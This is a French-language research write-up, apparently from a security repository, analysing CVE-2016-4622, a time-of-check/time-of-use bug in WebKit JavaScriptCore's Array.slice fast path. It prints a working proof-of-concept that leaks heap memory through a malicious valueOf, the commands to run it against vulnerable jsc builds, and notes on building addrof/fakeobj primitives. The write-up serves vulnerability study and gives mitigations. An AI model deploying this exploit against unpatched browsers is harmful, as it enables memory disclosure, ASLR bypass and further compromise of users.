Analyse CVE-2016-4622 de WebKit : Plongée approfondie dans la vulnérabilité du chemin rapide Slice ValueOf

Analyse complète et exploitation de la vulnérabilité du moteur JavaScript Core de WebKit permettant la divulgation mémoire via la manipulation de Array.slice

Table des matières

• Résumé exécutif
• Aperçu de la vulnérabilité
• Configuration de l'environnement de recherche
• Analyse technique
• Procédure d'exploitation
• Principales conclusions
• Ressources et références

Résumé exécutif

Ce dépôt contient une analyse complète de CVE-2016-4622, une vulnérabilité critique de divulgation mémoire dans le moteur JavaScript Core de WebKit. La vulnérabilité provient d'une condition de concurrence dans l'implémentation de Array.slice() qui peut être exploitée pour fuiter le contenu mémoire adjacent, servant de base à des primitives d'exploitation plus sophistiquées comme addrof et fakeobj.

Impact : Divulgation mémoire pouvant conduire à une exécution de code à distance potentielle
Composant affecté : WebKit JavaScript Core (JSC)
Cause racine : Vulnérabilité de type vérification-utilisation (TOCTOU) dans l'implémentation de fastSlice

Aperçu de la vulnérabilité

Le problème principal

La vulnérabilité existe dans le « chemin rapide » optimisé de WebKit pour la méthode Array.slice(). Lors du traitement des paramètres de slice, le moteur convertit les arguments objets en valeurs primitives en appelant leur méthode valueOf(). Cette conversion a lieu après avoir déterminé les paramètres de l'opération slice mais avant l'opération de copie mémoire proprement dite.

Vecteur d'attaque

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Ce qui se passe :

1. Le tableau a est créé avec 100 éléments
2. Lors du traitement des paramètres de slice, valueOf() est appelée
3. La valueOf() malveillante réduit la taille du tableau à 0
4. memcpy tente de copier 10 éléments d'un tableau vide
5. Résultat : La mémoire adjacente est copiée, provoquant une divulgation d'informations

Configuration de l'environnement de recherche

Structure du dépôt

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Implémentation de référence par Saelo
├── Exploit/                        # Tentatives d'exploitation personnalisées
│   ├── poc-memleak.js             # Preuve de concept de fuite mémoire
│   └── slice_over_array.js        # Exemples éducatifs
├── WebKit-SRC-CVE-2016-4622/     # Code source vulnérable (commit 320b1fc)
├── WebKit-Bins/                   # Binaires compilés pour les tests
│   ├── Debug/                     # Version debug avec symboles
│   └── ASAN/                      # Version avec AddressSanitizer activé
└── Screenshoots/                  # Documentation visuelle

Environnement de test

Binaires : Binaires JSC pré-compilés construits sur VMWare OSX 10.11 avec XCode 7.3.2
Architecture : Exécutables x86_64 Mach-O
Fonctionnalités de débogage : Symboles + AddressSanitizer pour une analyse complète

Exécution de la preuve de concept

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Sortie attendue montrant la fuite mémoire :
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Analyse technique

Comprendre le mécanisme de Array.slice()

La méthode Array.slice(begin, end) crée une copie superficielle d'une partie d'un tableau. Dans des conditions normales :

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Retourne ['b', 'c']

Point clé : Le paramètre end subit une conversion de type via valueOf(), créant une fenêtre d'exploitation.

Analyse de la pile d'appels

Lorsque la vulnérabilité se déclenche, AddressSanitizer capture ce flux d'appels :

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Analyse approfondie : fonction par fonction

1. arrayProtoFuncSlice() - Point d'entrée

Emplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - Le déclencheur de conversion

Emplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

La condition de concurrence :

• Lors du traitement du second paramètre {valueOf: function() { a.length = 0; return 10; }}
• value.toInteger(exec) appelle notre valueOf() malveillante
• Notre fonction modifie la longueur du tableau de 100 à 0
• Mais les paramètres de l'opération slice (begin=0, end=10) restent inchangés

3. fastSlice() - Où se produit la corruption mémoire

Emplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

La corruption mémoire :

• startIndex = 0, count = 10
• La longueur du tableau est maintenant 0 (modifiée par valueOf())
• memcpy lit 10 JSValues à partir de l'index 0
• Puisque le tableau est vide, cela lit la mémoire adjacente du tas
• Résultat : Vulnérabilité de divulgation d'informations

Procédure d'exploitation

Flux d'attaque étape par étape

1. Phase de configuration

   root@kitploit:~

   var a = [];
   for (var i = 0; i < 100; i++)
       a.push(i + 0.123);
   

   • Crée un type ArrayWithDouble avec 100 éléments
   • Les éléments sont stockés de manière contiguë en mémoire

2. Phase de déclenchement

   root@kitploit:~

   var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
   

   • Lance l'opération slice avec un objet malveillant comme paramètre end
   • La validation du chemin rapide réussit (le tableau semble normal)

3. Phase d'exploitation

   • La conversion des paramètres appelle valueOf()
   • La longueur du tableau est réduite à 0
   • fastSlice tente de copier 10 éléments du tableau vide
   • La mémoire adjacente est divulguée dans le tableau résultat

4. Résultat

   root@kitploit:~

   0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
   

   • Les deux premières valeurs : données légitimes du tableau
   • Valeurs restantes : mémoire adjacente divulguée

Représentation visuelle

Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

Principales conclusions

Analyse de la cause racine

Primitives d'exploitation

Cette vulnérabilité sert de base pour :

• Divulgation d'informations : Capacité de fuite mémoire directe
• Contournement d'ASLR : Révélation potentielle de la disposition de l'espace d'adressage
• Confusion de type : Configuration pour les primitives addrof/fakeobj

Considérations défensives

Stratégies d'atténuation :

• Valider les limites du tableau avant les opérations memcpy
• Mettre en œuvre une vérification cohérente de l'état dans les chemins rapides
• Ajouter une vérification des limites à l'exécution pour les opérations optimisées

Ressources et références

Articles et documents de recherche

• Attaquer les moteurs JavaScript - Saelo (Phrack)
• Analyse de CVE-2016-4622 - TuringH
• Analyse approfondie - null2root
• Tutoriel d'exploitation WebKit

Documentation technique

• Array.slice() - Documentation MDN
• Code source de WebKit
• Architecture de JavaScript Core

Outils et environnement

• Commit vulnérable : 320b1fc3f6f
• Environnement de construction : VMWare OSX 10.11, XCode 7.3.2
• Outils d'analyse : AddressSanitizer, GDB, Builds Debug JSC

Chronologie de la recherche : 11-12 avril 2020
Statut : Analyse complète ✅
Prochaines étapes : Développement d'une chaîne d'exploitation complète avec les primitives addrof/fakeobj